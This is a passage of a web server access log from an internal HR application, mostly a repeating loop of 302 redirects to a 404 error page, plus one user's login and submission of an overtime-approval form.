/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:01:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:01:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [05/Dec/2025:12:02:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [05/Dec/2025:12:02:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.34 - - [05/Dec/2025:12:02:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 65601 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 65601 192.168.40.34 - - [05/Dec/2025:12:02:09 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:09 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132749%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132749&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132749%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132749&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:12:02:14 +0800] "GET 